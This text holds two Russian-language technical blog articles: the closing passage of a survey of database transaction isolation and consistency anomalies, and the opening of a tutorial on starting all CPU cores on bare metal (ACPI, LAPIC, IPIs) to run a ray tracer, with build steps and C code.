rc1[x=1]...w2[x=10]...w1[x=1+1]...c1
```
Здесь под rc подразумевается операция чтения через курсор, смысл феномена — запретить менять переменную, на которой находится курсор
* История предотвращается нестандартным уровнем изоляции Cursor Stability
* Я бы записал как: `rc1[x=1]...w2[x=10]...c2...w1[x=1+1]...c1`
+ Иначе опять имеет место P0
* Можно менять то, что не под курсором: `rc1[x]...rc1[y]...w2[x]...c2...w1[y]...c1`
A5A (Read Skew)
---------------
В стандарте отсутствует, предлагается такая формулировка:
```
r1[x]...w2[x]...w2[y]...c2...r1[y]...(c1 or a1)
```
Здесь происходит чтение согласованных значений, одно из которых в процессе чтения "портит" другая транзакций, чтение получается "кривое", прочитанные значения — несогласованные.
Пример истории с проблемой, опять переводим 40 между счетами с начальным остатком в 50:
```
H2: [x=50, y=50]...r1[x=50]...w2[x=10]...w2[y=90]...c2...r1[y=90]...(c1 or a1)
```
* T1 получает аномальный баланс 140
* Внутри аномалии содержится P2: `(r1[x]...w2[x])`
* Уровень изоляции, предотвращающий A5A, но не P2 — Snapshot (см. далее)
A5B (Write Skew)
----------------
В стандарте отсутствует, предлагается такая формулировка:
```
r1[x]...r2[y]...w1[y]...w2[x]...(c1 and c2 occur)
```
Имеем два согласованных значения, T1 пишет второе, исходя из прочитанного первого. Одновременная T2 делает наоборот, результирующие значения в базе несогласованные.
Пример с деньгами тут уже не подходит, пусть у нас ограничение целостности `x*2 <= y`, x=3, y=4, история:
```
[x=3, y=4]...r1[x=3]...r2[y=4]...w1[y=6]...w2[x=2]...c1...c2...[x=2, y=6]
```
* В истории содержится P2: `r1[x=3]...w2[x=2]`
* Отсутствует уровень изоляции, предотвращающий A5B, но не P2
Рассмотрим ещё уровень изоляции Snapshot; и с этой работой — всё.
Snapshot Isolation
------------------
Уровень изоляции Snapshot определяется такими требованиями:
1. Each transaction reads data from a snapshot of the (committed) data as of the time the transaction started, called its Start-Timestamp. This time may be any time before the transaction’s first Read.
2. Updates by other transactions active after the transaction StartTimestamp are invisible to the transaction
3. A transaction running in Snapshot Isolation is never blocked attempting a read
4. The transaction's writes (updates, inserts, and deletes) will also be reflected in this snapshot
* The transaction successfully commits only if no other transaction T2 with a Commit-Timestamp in T1’s execution interval [StartTimestamp, Commit-Timestamp] wrote data that T1 also wrote
* First-committer-wins prevents lost updates (phenomenon P4)
Ну т.е. читаем всегда то, что было на момент начала транзакции, если есть с кем-то конфликт по записи, то одна из транзакций откатывается.
Посмотрим, как обстоят дела с A2/P2 (Non-Repeatable Read):
A2: `r1[x]...w2[x]...c2...r1[x]...c1`
* Если подходить строго, то в таком виде история не предотвращается
* Можно сформулировать с учётом версий: `r1[x1]...w2[x2]...c2...r1[x2]...c1` — вот такие истории, действительно, не допускаются
P2: `r1[x]...w2[x]...(c1 or a1)`
* Такие истории Snapshot допускает
Аналогично обстоят дела с A3/P3, предотвращается A3:
```
A3: r1[P1]...w2[y in P2]...c2...r1[P2]...c1
```
но не P3:
```
P3: r1[P1]...w2[y in P2]...(c1 or a1)
```
A5A (Read Skew) предотвращается в формулировке:
* `r1[x1]...w2[x2]...w2[y2]...c2...r1[y2]...(c1 or a1)`
Исходя из вышесказанного Table 4, похоже, содержит ошибку:
* Отношение P2 и Shapshot должно быть "Sometimes Possible", т.е. A2 невозможно, а вот P2 — вполне
Табличку я бы переписал в таком виде:
* Если рассматривать феномены так, как они определены в SQL-92, то Lost Update и Read Skew не имеют смысла для разделения уровней изоляции, т.к. они эквивалентны (в указанном смысле) A2
* Если рассматривать феномены так, как это делают "критики", то для разделения уровней изоляции не имеют смысла Read Skew (эквивалентен Lost Update) и Write Skew (эквивалентен Fuzzy Read)
* Что такое Sometimes Possible для Cursor Stability — не осилил
Идем дальше.
D. Abadi: Introduction to Transaction Isolation Levels
======================================================
Работа [[ABAISO](http://dbmsmusings.blogspot.com/2019/05/introduction-to-transaction-isolation.html)] профессора D. Abadi интересна следующим:
Во-первых, личностью профессора:
> He is best-known for the development of the storage and query execution engines of the C-Store (column-oriented database) prototype, which was commercialized by Vertica and eventually acquired by Hewlett-Packard in 2011, for his HadoopDB research on fault tolerant scalable analytical database systems which was commercialized by Hadapt and acquired by Teradata in 2014, and deterministic, scalable, transactional, distributed systems such as Calvin which is currently being commercialized by Fauna
Во-вторых, тем, что ничего нового из этой статьи мы не узнаем, несмотря на то, что статья датируется 2019 годом:
> There are many, many problems with how the SQL standard defines these isolation levels. Most of these problems were already pointed out in 1995, but inexplicably, revision after revision of the SQL standard have been released since that point without fixing these problems.
Не зря, выходит, так вдумчиво читали критику стандарта — это актуально и в нынешнем тысячелетии. Есть, правда, нюанс — телефон таки испортился и Phantom превратился в Phantom Read.
**Phantom или Phantom Read?**
Почему же Профессор использует термин Phantom Read? В SQL-92 фигурирует Phantom, может быть, в более поздних стандартах этот термин заменили на Phantom Read?
[ISO/IEC 9075-2:1999](http://web.cecs.pdx.edu/~len/sql1999.pdf):
> 3) P3 (‘‘Phantom’’): SQL-transaction T1 reads the set of rows N that satisfy some . SQL-transaction T2 then executes SQL-statements that generate one or more rows that satisfy the used by SQL-transaction T1. If SQL-transaction T1 then repeats the initial read with the same , it obtains a different collection of rows.
[SQL:2011 or ISO/IEC 9075:2011](http://www.wiscorp.com/sql20nn.zip):
> 3) P3 (“Phantom”): SQL-transaction T1 reads the set of rows N that satisfy some . SQL-transaction T2 then executes SQL-statements that generate one or more rows that satisfy the used by SQL-transaction T1. If SQL-transaction T1 then repeats the initial read with the same , it obtains a different collection of rows.
[SQL:2016 or ISO/IEC 9075-2:2016](http://www.sai.msu.su/~megera/postgres/files/sql-2016-json.txt):
> 3) P3 ("Phantom"): SQL-transaction T1 reads the set of rows N that satisfy some . SQL- transaction T2 then executes SQL-statements that generate one or more rows that satisfy the used by SQL-transaction T1. If SQL-transaction T1 then repeats the initial read with the same , it obtains a different collection of rows.
Стандарт SQL:2019 выпущен June 2019, это позже, чем работа Профессора, так что...
Напоследок стоит отметить определение понятия Perfect Isolation:
> The key point for our purposes is that we are defining “perfect isolation” as the ability of a system to run transactions in parallel, but in a way that is equivalent to as if they were running one after the other. In the SQL standard, this **perfect isolation** level is called **serializability**.
D. Abadi: Correctness Anomalies Under Serializable Isolation
============================================================
В статье [[ABACASER](https://dbmsmusings.blogspot.com/2019/06/correctness-anomalies-under.html)] Профессор демонстрирует, что в распределенных системах уровень изоляции Serializable — далеко не предел мечтаний, всё не так, как в старые добрые времена мейнфреймов, монолитов и вертикального масштабирования:
> In the good old days of having a “database server” which is running on a single physical machine, serializable isolation was indeed sufficient, and database vendors never attempted to sell database software with stronger correctness guarantees than SERIALIZABLE. However, **as distributed and replicated database systems have started** to proliferate in the last few decades, **anomalies and bugs have started to appear** in applications even when running over a database system that guarantees serializable isolation. As a consequence, database system vendors **started to release systems with stronger correctness guarantees than serializable isolation**, which promise a lack of vulnerability to these newer anomalies. In this post, we will discuss several well known **bugs and anomalies in serializable distributed database systems**, and modern correctness guarantees that ensure avoidance of these anomalies.
Для распределенных систем придумали One Copy Serializability (1SR), в работе [[YB](https://eprints.soton.ac.uk/262096/1/reft.pdf)] он определяется так:
> The **One Copy Serializability** [7] is the highest correctness criterion for replica control protocols… In order to achieve this correctness criterion, it is required that interleaved execution of transactions on replicas be equivalent to serial execution of those transactions on one copy of a database.
Ну т.е. опять требуется эквивалентность некоторому последовательному выполнению, в этот раз требование относится к транзакциям в распределенных системах. Всё ли хорошо в системе, которая удовлетворяет 1SR? Нет, не всё. Профессор приводит три аномалии, используя такую терминологию:
> The next few sections describe some forms of **time-travel anomalies** that occur in distributed and/or replicated systems, and the types of application bugs that they may cause.
**1. Immortal Write (Бессмертная Запись)**
Пользователь меняет своё отображаемое имя, Daniel => Danny => Danger:
* История в реальном времени: `w1[x=Daniel]...c1...w2[x=Danny]...c2...w3[x=Danger]...c3`
* История в журнале 1SR-системы: `w1[x=Daniel]...w3[x=Danger]...w2[x=Danny]`
Наблюдаем анахронизм (time-travel anomaly) — значение Danger было послано последним, но движок БД в силу каких-то причин переставил w3 на второе место. Причиной может быть, например, рассинхронизация часов на серверах или же некие "соображения" движка БД по оптимизации времени выполнения транзакций. От такой "перестановки" требования Serializability никак не нарушаются, так что движок в своем праве поступать таким образом.
**2. Stale Read (Несвежее Чтение)**
Пишем в некоторую переменную 50, затем 0, потом читаем, ожидая 0:
* История в реальном времени: `w1[x=50]...с1...w2[x=0]...c2...r3...c3`
* История в журнале 1SR-системы: `w1[x=50]...r3[x=50]...w2[x=0]`
Кластер БД опять "переставил" транзакции, внезапно получаем 50.
**3. Causal Reverse (Обратная Причинность, "реверс козла")**
Ситуация: пользователь имеет 1.000.000 на счету `x` и 0 на счету `y`. Читаем остатки, снимаем в банкомате 1.000.000 со счета `x` и затем кладем миллион на счет `y`.
* История в реальном времени: `r1[x, y]...w2[x=0]...c2...w3[y=1.000.000]...c3...с1`
* История в журнале 1SR-системы: `w3[y=1.000.000]...r1[x=1.000.000, y=1.000.000]...w2[x=0]`
БД опять повела себя дерзко и переставила r1 на второе место, так что r1 "вычитала" по миллиону с обоих счетов.
Утверждается, что такая аномалия возможна в CockroachDB (aka CRDB) из-за особенностей системы (STRONG PARTITION SERIALIZABLE) и нерешаемой проблемы с синхронизацией часов: "this enables a read (**in CockroachDB’s case, this read has to be sent to the system before the two write transactions**) to potentially see the write of the later transaction, but not the earlier one".
С негодованием отвергнем CockroachDB? Мне кажется, не стоит, работая с другими системами, мы можем просто пребывать в счастливом неведении о тех ужасах, что происходят под "распределенным капотом".
Гарантии свободной от "ужасов" системы Профессор называет Strict Serializability (т.е. Строго-Совершенная Изоляция, да) и выделяет такие ступеньки на пути к идеалу:
* **Strong Session Serializable**: система гарантирует Strict Serializability в рамках сессии, иначе 1SR
+ Очевидная реализация это маршрутизация "sticky session", т.е. все запросы с одинаковой сессией направляются к одному и тому же узлу
* **Strong Write Serializable**: система гарантирует Strict Serializability для пишущих транзакций, read-only транзакции довольствуются уровнем 1SR
+ Очевидная реализация — кластер с одной master-репликой, на которой можно менять данные, и множеством read-only реплик
* **Strong Partition Serializable**: cистема гарантирует Strict Serializability в рамках разделов
+ Именно такой подход, к слову, принят в CocroachDB и в нашем стартапе
+ Можно использовать shard в качестве partition, но у нас, к примеру, не так, и partition включает в себя множество shard
В заключении Профессор приводит табличку:
| System Guarantee | Dirty read | Non-repeatable read | Phantom Read | Write Skew | Immortal write | Stale read | Causal reverse |
| --- | --- | --- | --- | --- | --- | --- | --- |
| READ UNCOMMITTED | Possible | Possible | Possible | Possible | Possible | Possible | Possible |
| READ COMMITTED | - | Possible | Possible | Possible | Possible | Possible | Possible |
| REPEATABLE READ | - | - | Possible | Possible | Possible | Possible | Possible |
| SNAPSHOT ISOLATION | - | - | - | Possible | Possible | Possible | Possible |
| SERIALIZABLE / ONE COPY SERIALIZABLE / STRONG SESSION SERIALIZABLE | - | - | - | - | Possible | Possible | Possible |
| STRONG WRITE SERIALIZABLE | - | - | - | - | - | Possible | - |
| STRONG PARTITION SERIALIZABLE | - | - | - | - | - | - | Possible |
| STRICT SERIALIZABLE | - | - | - | - | - | - | - |
Идем дальше.
Consistency levels in Azure Cosmos DB
=====================================
“Суха теория, мой друг, но древо жизни зеленеет”. Сильные духом могут почитать [[COSMOS](https://learn.microsoft.com/en-us/azure/cosmos-db/consistency-levels)], Microsoft, Consistency levels in Azure Cosmos DB, 2022, здесь ограничусь перечислением Consistency levels, принятых в этой СУБД:
* Strong (Сильная)
* Bounded staleness ([baʊndɪd ˈsteɪlnəs], Запаздывание, Ограниченное устаревание, Ограниченная несвежесть)
+ Т.е. читатель может получить несвежие данные, но их запаздывание ограничено по времени и/или по количеству операций
* Session (Сеанс, Сессионная)
* Consistent prefix ([kənˈsɪstənt ˈpriːfɪks], Согласованный префикс)
+ This guarantee says that if a sequence of writes happens in a certain order, then anyone reading those writes will see them appear in the same order [[CLEPP](https://ebrary.net/64710/computer_science/consistent_prefix_reads)] (порядок соблюдается, но читаем с произвольным запаздыванием)
* Eventual (Итоговая, Светлое будущее)
+ Когда-то всё будет хорошо
Для Strong дается такая картинка:
Т.е. пишем в одну зону, в других читаем без всяких time-travel аномалий.
Вроде как Strong аналогична Strict Serializable у Профессора и c Cosmos DB всё хорошо, так? Нет, не так...
jepsen.io: Consistency Models
=============================
Может показаться, что [всё очень запутано🎦](https://youtu.be/gjq5xsLeyJQ?t=4). Чтобы "всё" распутать, рассмотрим ациклический направленный граф, у которого только одна вершина имеет нулевую степень исхода (как бы дерево, но с направленностью от листьев к корню):
[](https://jepsen.io/consistency)
Картинка приведена на сайте группы, которая себя позиционирует таким образом:
> Jepsen is an effort to improve the safety of distributed databases, queues, consensus systems, etc. We maintain an open source software library for systems testing, as well as blog posts and conference talks exploring particular systems’ failure modes
Из достижений [[2020-12-23](https://jepsen.io/analyses/scylla-4.2-rc3)]:
> Together with the ScyllaDB team, we found seven problems in Scylla, including lightweight transaction (LWT) split-brain in healthy clusters due to a.) incomplete row hashcodes and b.) multiple problems with membership changes. We also identified incomplete or inaccurate documentation, including claims that non-LWT operations were isolated and atomic, and undocumented rules about what kinds of membership operations were legal. Scylla has corrected almost all of these errors via patches and documentation; remaining cases of split-brain appear limited to concurrent membership changes.
Ну т.е. ребята, похоже, своё дело знают.
Рекомендую "кликнуть" по картинке, перейти по ссылке и далее попутешествовать по узлам графа — откроется многое — здесь же ограничусь краткими замечаниями.
Левая ветвь дерева посвящена **аномалиям одновременного выполнения транзакций**, а правая — **аномалиям последовательного выполнения операций**. Будь моя воля, я бы дал такие определения:
> **Isolation** — предотвращение аномалий одновременного выполнения транзакций
>
>
>
> **Consistency** — предотвращение аномалий последовательного выполнения операций
Ещё раз замечу, что Consistency тут не та, что имеется ввиду в аббревиатуре ACID.
По левой ветви можно прочитать такие нетривиальные утверждения:
* > Note that read uncommitted **does not impose any real-time constraints**. If process A completes write `w`, then process B begins a read `r`, `r` is not necessarily guaranteed to observe `w`...In fact, a process can fail to observe its own prior writes, if those writes occurred in different transactions
>
>
> + Т.е. не гарантируется даже чтение своих собственных записей, если они были выполнены в разных транзакциях
>
>
* > Like **serializability**, read uncommitted allows pathological orderings. For instance, a read uncommmitted database **can always return the empty state for any reads**, by appearing to execute those reads at time 0. It can also discard write-only transactions by reordering them to execute at the very end of the history, after any reads. Operations like increments can also be discarded, assuming the result of the increment is never observed. Luckily, most implementations don’t seem to take advantage of these optimization opportunities
>
>
> + Иными словами, read-only транзакции даже для уровня изоляции Serializable могут возвращать всегда пустые результаты для всех операций, а write-only транзакции могут быть отброшены. К счастью, реальные СУБД не пользуются такими возможностями по оптимизации
>
>
Вооружившись новыми знаниями, можно по-новому взглянуть на гарантиии Cosmos DB. Уровень согласованности Strong, при котором нотки читаются сразу после записи и именно в том порядке, в котором записаны, является не более (но и не менее) чем Linearizable — т.е. максимальной гарантией касательно аномалий последовательного выполнения операций. Но мы теперь знаем, что есть ещё и другая ветвь гарантий. С ней что?
> The database engine in Azure Cosmos DB supports full ACID (Atomicity, Consistency, Isolation, Durability) compliant transactions with snapshot isolation.
>
>
>
> <https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/database-transactions-optimistic-concurrency>
Snapshot isolation — ага, возможен Write Skew. Кто предупрежден, тот вооружен.
Для сравнения, DynamoDB от Amazon [поддерживает](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/transaction-apis.html) SERIALIZABLE/READ-COMMITTED в качестве уровней изоляции, а [также](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/HowItWorks.ReadConsistency.html) Strongly Consistent Reads/Eventually Consistent Reads в качестве уровней согласованности. `Strongly Consistent Reads` соответствует `Strict Serializable` в терминах jepsen.io.
Заключение
==========
* Как страшно и трудно жить!
* Для распределенных СУБД требуйте ~~долива пива после отстоя пены~~ четких гарантий по Isolation и Consistency
* Капитан Очевидность утверждает, что чем выше гарантии, тем ниже производительность
Ссылки:
=======
* [[SQL-92]](https://www.contrib.andrew.cmu.edu/~shadow/sql/sql1992.txt): ISO/IEC 9075:1992, Database Language SQL- July 30, 1992
* [[ABAISO](http://dbmsmusings.blogspot.com/2019/05/introduction-to-transaction-isolation.html)]: D. Abadi, Introduction to Transaction Isolation Levels, blogspot.com, May 2019
* [[ABACASER](https://dbmsmusings.blogspot.com/2019/06/correctness-anomalies-under.html)]: D. Abadi, Correctness Anomalies Under Serializable Isolation, blogspot.com, June 2019
* [[CLEPP](https://ebrary.net/64710/computer_science/consistent_prefix_reads)]: Martin Kleppmann, Designing Data-Intensive Applications
* [[COSMOS](https://learn.microsoft.com/en-us/azure/cosmos-db/consistency-levels)], Microsoft, Consistency levels in Azure Cosmos DB, 2022, microsoft.com
* [[YB](https://eprints.soton.ac.uk/262096/1/reft.pdf)], D. Yadav, M. Butler, Rigorous Design of Fault-Tolerant Transactions for Replicated Database Systems using Event B, School of Electronics and Computer Science University of Southampton | https://habr.com/ru/post/705332/ | null | ru | null |
# Как запустить программу без операционной системы: часть 4. Параллельные вычисления
После долгого перерыва продолжаем делать интересные штуки, как всегда на чистом железе без операционной системы. В этой части статьи научимся использовать весь потенциал процессоров: будем запускать программу сразу на нескольких ядрах процессора в полностью параллельном режиме. Чтобы провернуть такое, нам потребуется многое сделать для расширения функциональности программы полученной [в части 3](http://habrahabr.ru/company/neobit/blog/176707/).
Просто так выполнять какие-то вычисления на ядрах процессора – скучно, поэтому нужна задача, которая требует больших вычислительных ресурсов, хорошо раскладывается на параллельные вычисления, да и выглядит прикольно. Предлагаем сделать программу, которая рендерит простенькую 3D-сцену, используя алгоритм обратной трассировки лучей, или, по-простому, **Ray Tracing**.
Начнем с самого начала: наша цель параллельные вычисления на всех ядрах процессора. Все современные процессоры для PC, да и ARM уже тоже (я молчу про GPU) – это многоядерные процессоры. Что же это означает? Это означает, что вместо одного вычислительного ядра у процессора на одном компьютере присутствует несколько ядер. В общем случае, все выглядит несколько сложнее: на компьютере может быть установлено несколько сокетов (чипов процессора), в рамках каждого чипа (в рамках одного кристалла) может находиться сразу несколько физических ядер, а в рамках каждого физического ядра может находиться несколько логических ядер (например, те, что возникают при использовании технологии Hyper Threading). Все это схематично представлено на рисунке ниже, и называется топологией.
Очевидно, что сокеты — это просто несколько установленных процессоров одной материнской плате. Ниже еще несколько картинок, для наглядности.
Среди всего этого, самым интересным является наличие *логических ядер*. В этом проявляется принцип **SMT** (Simultaneous Multithreading), который означает, на деле, выполнение очередных инструкций из другого логического потока, во время того, как части процессора освободились, ожидая окончания выполнения инструкций из основного потока. Каждое физическое ядро процессора состоит из множества компонентов (кэш, конвейеры, ALU, FPU,…), многие части работают независимо друг от друга и им необходимо синхронизироваться, поэтому пока инструкция перед окончанием выполнения ожидает данных из кэша или памяти, почему бы не выполнить другие инструкции из другого потока, используя те же инструкции? Еще больше информации и картинок можно найти [по этой ссылке](https://computing.llnl.gov/tutorials/linux_clusters/) или в официальных документах Intel, AMD, ARM.
В рамках этой статьи детали топологии будут важны только для улучшения оптимизации (и все ядра буду восприниматься как одинаковые). Получить топологию программным путем можно используя инструкции CPUID, но об этом в следующий раз.
Введем еще несколько понятий:
**SMP** (Symmetric Multiprocessing) – означает симметричное использование всех процессоров; так, например все ядра процессора могут обращаться к одной и той же оперативной памяти в полном объеме, все ядра процессора одинаковые и ведут себя одинаково.
**AMP** (Asymmetric Multiprocessing) в противововес предыдущему понятию, означает, что хотя бы одно ядро ведет себя не так как другие. Например, совместную работу CPU и GPU можно рассматривать как пример AMP.
**NUMA** (Non-Uniform Memory Access) – неравномерный доступ процессоров к разным областям памяти. На деле означает, что каждое ядро процессора может обращаться ко всей памяти, но для каждого ядра есть область памяти, к которой он обращается быстрее, чем к остальной части. Опять же используется для оптимизации.
В современных компьютерных есть все указанные принципы и технологии.
Мы будем рассматривать SMP в чистом виде. При старте системы, процессор сам выбирает одно произвольное ядро и называет его **Boot Strap Processor** (BSP), все остальные становятся **Application Processor** (AP). BSP начинает выполнять код BIOS, который, в свою очередь, находит и стартует все ядра процессора в системе, выполняет их предварительную инициализацию и, благополучно их выключает. Таким образом, наша программа после старта будет работать на одном BSP ядре процессора, поэтому наша цель выглядит, на первый взгляд, достаточно просто: узнать, сколько ядер на компьютере, затем запустить и настроить каждое ядро в системе, и заставить все ядра выполнять одну вычислительную задачу, ради общего блага.
Для того, чтобы достигнуть нашей цели нужно ответить на несколько вопросов:
*Как определить количество и топологию процессоров и ядер в системе?*
Для этого нужно использовать замечательный интерфейс ACPI, а для определения топологии, использовать CPUID.
*Как идентифицировать конкретное ядро процессора?*
Для этого используется устройство APIC, или вернее LAPIC, который есть у каждого ядра процессора в системе, обладает уникальным для системы идентификатором (вроде PID для процессов), и отвечает за доставку прерываний на конкретное ядро процессора.
*Как запустить одно ядро с другого ядра?*
Достаточно отправить прерывание с одного ядра процессора на другой. Такой сигнал называется IPI (Inter Processor Interrupt). Для его отправки достаточно использовать LAPIC устройство на одном из ядер, записав в его регистр определенное значение.
*Как остановить выполнение ядра процессора?*
Достаточно на этом ядре вызвать инструкцию HLT.
Теперь немного подробнее. **ACPI** (не путать с **APIC**) – это Advanced Configuration and Power Interface – по сути это стандартный интерфейс, через который операционная система может получать информацию о компьютере, его детальной конфигурации, и управлять питанием компьютера. Этот интерфейс состоит из устройства управления питанием (которое называется ACPI-устройство, и, кстати, присутствует в PCI ([смотрим статью](http://habrahabr.ru/company/neobit/blog/162769/))), и нескольких таблиц ACPI, которые расположены в оперативной памяти компьютера и содержат информацию о системе. Помимо информации о ядрах процессоров на компьютере, некоторые таблицы ACPI хранят информацию даже о физических габаритах и форм-факторе компьютера (например, из них можно узнать, что программа работает на планшете…). Таблиц достаточно много, и их полное описание можно найти [здесь](http://www.acpi.info/spec.htm), а нас интересует только MADP, на которую ссылается RSDT, указатель на которую находится в таблице RSDP, которую можно найти где-то в окрестностях BIOS. Упрощенная схема основных ACPI таблиц представлена так:
Пока все что нужно знать — что MADT содержит записи с информацией о ядрах процессора. Для каждой записи содержится идентификатор LAPIC этого ядра (длиной 8 бит, что означает не более 256 ядер любого типа в системе) и бит Enable (который говорит о том, можно ли пользоваться этим ядром или оно зарезервировано).
Теперь **LAPIC** – это Local APIC, а **APIC** (не путать с **ACPI**) – это Advanced Programmable Interrupt Controller, что является заменой старого PIC (Programmable Interrupt Controller). PIC раньше сразу доставлял прерывания на процессора, а теперь он это делает через LAPIC. Local APIC не единственный тип APIC – есть еще IO APIC – который является отдельным контроллером прерываний и отвечает за распределение прерываний между ядрами процессоров на системе. Итого картина такая:
На первый взгляд выглядит сложно, но если разобраться, то все вполне разумно: **PIC** – контроллер прерываний, который используется уже давно – остался и никуда не делся, он как и прежде входит в состав чипсета на материнской плате. С появлением многоядерности добавили **IO APIC**, который теперь распределяет прерывания от PIC и других источников между ядрами, ибо кому-то это делать нужно. Каждый LAPIC снабжен уникальным идентификатором, который используется в IPI и настройке IO APIC. Так же в номере LAPIC закодирована его топология. BSP всегда имеет идентификатор LAPIC равный 0.
Чтобы программировать LAPIC, нужно читать и записывать данные в его регистры (как и с любым другим устройством), его регистры расположены в памяти по адресу 0xFEE00000. На самом деле этот адрес может быть и другим, но его всегда можно узнать через специальный MSR (Model Specific Register – эти регистры читаются и записываются через инструкции rdmsr/wrmsr). Для всех ядер этот адрес чаще всего одинаковый, но у каждого ядра по этому адресу расположен свой личный LAPIC. Это устройство имеет множество регистров, но нам понадобится только один – **ICR** (Interrupt Control Register) который позволяет отправить IPI.
Для запуска какого-то ядра процессора этому ядру нужно отправить аж три IPI, которые заставят другое ядро включиться: INIT IPI, затем STARTUP IPI, и еще один STARTUP IPI.Второй STARTUP IPI (или SIPI) нужен для завершения процесса инициализации, поскольку первый мог быть отменен, а второй будет проигнорирован в случае, если первый SIPI прошел успешно. Ничего не поделаешь – такие правила. Для отправки каждого IPI нужно просто записать определенные байтики в ICR регистр своего LAPIC. Эти байтики будут включать в себя байт идентификатора LAPIC на который отправляться IPI, и тип отправляемого IPI. Для SIPI будет использоваться еще 2 байта, из которых будет определен адрес в памяти, с которого будет запускаться AP.
Последнее очень удобно, поскольку нам потребуется запустить процессор сперва с нашего кода, который переведет процессор в Protected Mode (да-да, процессор после INIT-SIPI-SIPI запускается в Real Mode, который нам не подходит). Код инициализации процессора будет рассмотрен подробно далее. Да, без сырого ассемблера не обойдемся.
Про LAPIC и IO APIC подробнее можно прочитать в [мануале по процессору Intel](http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html).
Теперь осталось разобраться с несколькими мелочами: **Lock**, **FPU** и собственно алгоритмом **Ray Tracing** (полезной нагрузкой).
Первое, что нам еще понадобится – это возможность синхронизации работы всех ядер. Для этого нужно написать код **Lock**, который бы ожидал в памяти появления, например, единички. Как же сделать Lock правильно? Самый очевидный вариант: написать простой while(1), который ожидает появление по определенному адресу нолика, и сразу записать по этому адресу единицу, пока другие ядра этого сделать не успели. А для разблокировки замка нужно записать нолик.
Теперь **FPU** (Floating Point Unit) – это специальный модуль на процессоре, который используется для арифметических вычислений с плавающей запятой. Другими словами, если вы хотите использовать переменные типа float и double в своей программе, то вам нужно инициализировать этот модуль. Во всех современных ОС это делает за вас ядро ОС, но в нашем случае это придется самим. Впрочем, это совсем не трудно – просто пара инструкций на ассемблере. Float нам понадобится, поскольку Ray Tracing иначе не будет работать.
Как же будем делать **Ray Tracing**? Этот алгоритм выходит за рамки этой статьи, поэтому здесь объяснен не будет, но есть [много хороших статей про него](http://habrahabr.ru/post/112944). Для нашего случая мы просто возьмем готовую программу и немного ее модифицируем.
Теперь, когда с теорией покончено, приступим к написанию программы.
**! ВАЖНО!: Все дальнейшие действия могут успешно осуществляться только после успешного прохождения всех 6-ти шагов из [третей части статьи “Как запустить программу без операционной системы”](http://habrahabr.ru/company/neobit/blog/176707/)**
##### Шаг 1. Сперва чистим лишнее.
В первую очередь нужно немного очистить имеющийся код от лишних файлов и функций. Нам понадобится полноценная математическая библиотека, поэтому нужно удалить лишние файлы из common: удаляем файл **common/s\_floor.c** .
Рисовать фрактал нам не нужно – нам нужен Ray Tracing, поэтому можно удалить fractal.c. Но поскольку графический режим все же нужен, пишем следующий код в kernel.c:
1. добавляем несколько объявлений перед функцией main, которые в том числе задают разрешение экрана и картинки, которую будем рендерить:
i
```
nt vbe_screen_w = 800, vbe_screen_h = 600;
int VBE_SetMode( ulong mode );
int VBE_Setup(int w, int h);
extern ulong vbe_lfb_addr;
extern ulong vbe_selected_mode;
extern ulong vbe_bytes;
//Про них будет написано позднее
int ray_main();
void SmpPrepare(void);
```
2. меняем функцию main:
```
void main()
{
clear_screen();
printf("\n>>> Hello World!\n");
// Будет включать все ядра процессора
SmpPrepare();
VBE_Setup(vbe_screen_w, vbe_screen_h);
VBE_SetMode(vbe_selected_mode | 0x4000);
// Будет инициировать рисование на экране
ray_main();
}
```
3. удаляем строку:
```
void DrawFractal(void);
```
##### Шаг 2. Добавляем математическую библиотеку fdlibm.
Теперь можно добавить полноценную математическую биьлиотеку. На самом деле нам понадобятся только функции sqrt, tan и pow – они используются в алгоритме Ray Tracing.
1. создаем в корне директорию **fdlibm.**
2. в эту директорию качаем библиотеку fdlibm [отсюда](http://www.netlib.org/fdlibm/). Закачать нужно все файлы из этой папки.
3. теперь нужно заменить makefile на более простой (заодно можно проверить список файлов). При компиляции будут использоваться те же флаги, что и в основном makefile в корне. При этом будет собираться простая библиотека **fdlibm.a.** Содержимое нового makefile:
```
CC = gcc
CFLAGS = -Wall -fno-builtin -nostdinc -nostdlib -ggdb3
LD = ld
OBJFILES = \
e_acos.o e_acosh.o e_asin.o e_atan2.o e_atanh.o e_cosh.o e_exp.o \
e_fmod.o e_gamma.o e_gamma_r.o e_hypot.o e_j0.o e_j1.o e_jn.o \
e_lgamma.o e_lgamma_r.o e_log.o e_log10.o e_pow.o e_remainder.o \
e_rem_pio2.o e_scalb.o e_sinh.o e_sqrt.o \
k_cos.o k_rem_pio2.o k_sin.o k_tan.o \
s_asinh.o s_atan.o s_cbrt.o s_ceil.o s_copysign.o s_cos.o s_erf.o s_expm1.o \
s_fabs.o s_finite.o s_floor.o s_frexp.o s_ilogb.o s_isnan.o s_ldexp.o s_lib_version.o \
s_log1p.o s_logb.o s_matherr.o s_modf.o s_nextafter.o s_rint.o s_scalbn.o s_signgam.o \
s_significand.o s_sin.o s_tan.o s_tanh.o \
w_acos.o w_acosh.o w_asin.o w_atan2.o w_atanh.o w_cosh.o w_exp.o w_fmod.o w_gamma.o \
w_gamma_r.o w_hypot.o w_j0.o w_j1.o w_jn.o w_lgamma.o w_lgamma_r.o w_log.o \
w_log10.o w_pow.o w_remainder.o w_scalb.o w_sinh.o w_sqrt.o k_standard.o
all: fdlibm.a
rebuild: clean all
.s.o:
as -o $@ $<
.c.o:
$(CC) -Ix86emu –I../include $(CFLAGS) -o $@ -c $<
.cpp.o:
$(CC) -Ix86emu -I. -Iustl –I../include $(CFLAGS) -o $@ -c $<
fdlibm.a: $(OBJFILES)
ar -rv fdlibm.a $(OBJFILES)
ranlib fdlibm.a
clean:
rm -f $(OBJFILES) fdlibm.a
```
4. для того, чтобы все собиралось, внесем изменение в **k\_standard.c**. Нужно объявить errno и определить пустую функцию fputs, которая без файловой системы и графическим дисплеем не имеет в нашем случае смысла. Для этого заменяем строки:
```
#ifndef _USE_WRITE
#include /\* fputs(), stderr \*/
#define WRITE2(u,v) fputs(u, stderr)
#else /\* !defined(\_USE\_WRITE) \*/
```
на строки:
```
void fputs(void *u, int stderr)
{
}
int errno = 0;
#ifndef _USE_WRITE
#define WRITE2(u,v) fputs(u, 0)
#else /* !defined(_USE_WRITE) */
```
##### Шаг 3. Добавляем необходимые определения и заголовки
Как обычно, нужно немного расширить определения, которые будут использоваться далее в программе.
